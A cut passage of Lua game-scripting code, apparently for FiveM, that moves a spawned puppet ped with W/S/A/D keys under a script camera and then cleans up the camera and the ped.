                                            SafeRunNative(PointCamAtCoord, cam, pPos.x, pPos.y, pPos.z + 1.0)
                                            -- movement
                                            local fwd = SafeRunNative(IsControlPressed, 0, 32)   -- W
                                            local bck = SafeRunNative(IsControlPressed, 0, 33)   -- S
                                            local lft = SafeRunNative(IsControlPressed, 0, 34)   -- A
                                            local rgt = SafeRunNative(IsControlPressed, 0, 35)   -- D
                                            if fwd then SafeRunNative(TaskGoStraightToCoord, puppet,
                                                pPos.x - math.sin(math.rad(heading)) * 2.0,
                                                pPos.y + math.cos(math.rad(heading)) * 2.0,
                                                pPos.z, speed, 1000, heading, 0.1)
                                            elseif bck then SafeRunNative(TaskGoStraightToCoord, puppet,
                                                pPos.x + math.sin(math.rad(heading)) * 2.0,
                                                pPos.y - math.cos(math.rad(heading)) * 2.0,
                                                pPos.z, speed * 0.5, 1000, heading + 180.0, 0.1)
                                            elseif lft then
                                                SafeRunNative(SetEntityHeading, puppet, heading + 3.0)
                                            elseif rgt then
                                                SafeRunNative(SetEntityHeading, puppet, heading - 3.0)
                                            end
                                            Wait(0)
                                        end
                                        SafeRunNative(ClearFocus)
                                        SafeRunNative(RenderScriptCams, false, false, 0, true, false)
                                        SafeRunNative(DestroyCam, cam, false)
                                        if _G.junkiePuppet and SafeRunNative(DoesEntityExist, _G.junkiePuppet) then
                                            SafeRunNative(DeletePed, _G.junkiePuppet)
                                            _G.junkiePuppet = nil
                                        end
                                    end)
                                else
                                    _G.junkieRemotePed = false
                                    if _G.junkiePuppet and SafeRunNative(DoesEntityExist, _G.junkiePuppet) then
                                        SafeRunNative(DeletePed, _G.junkiePuppet)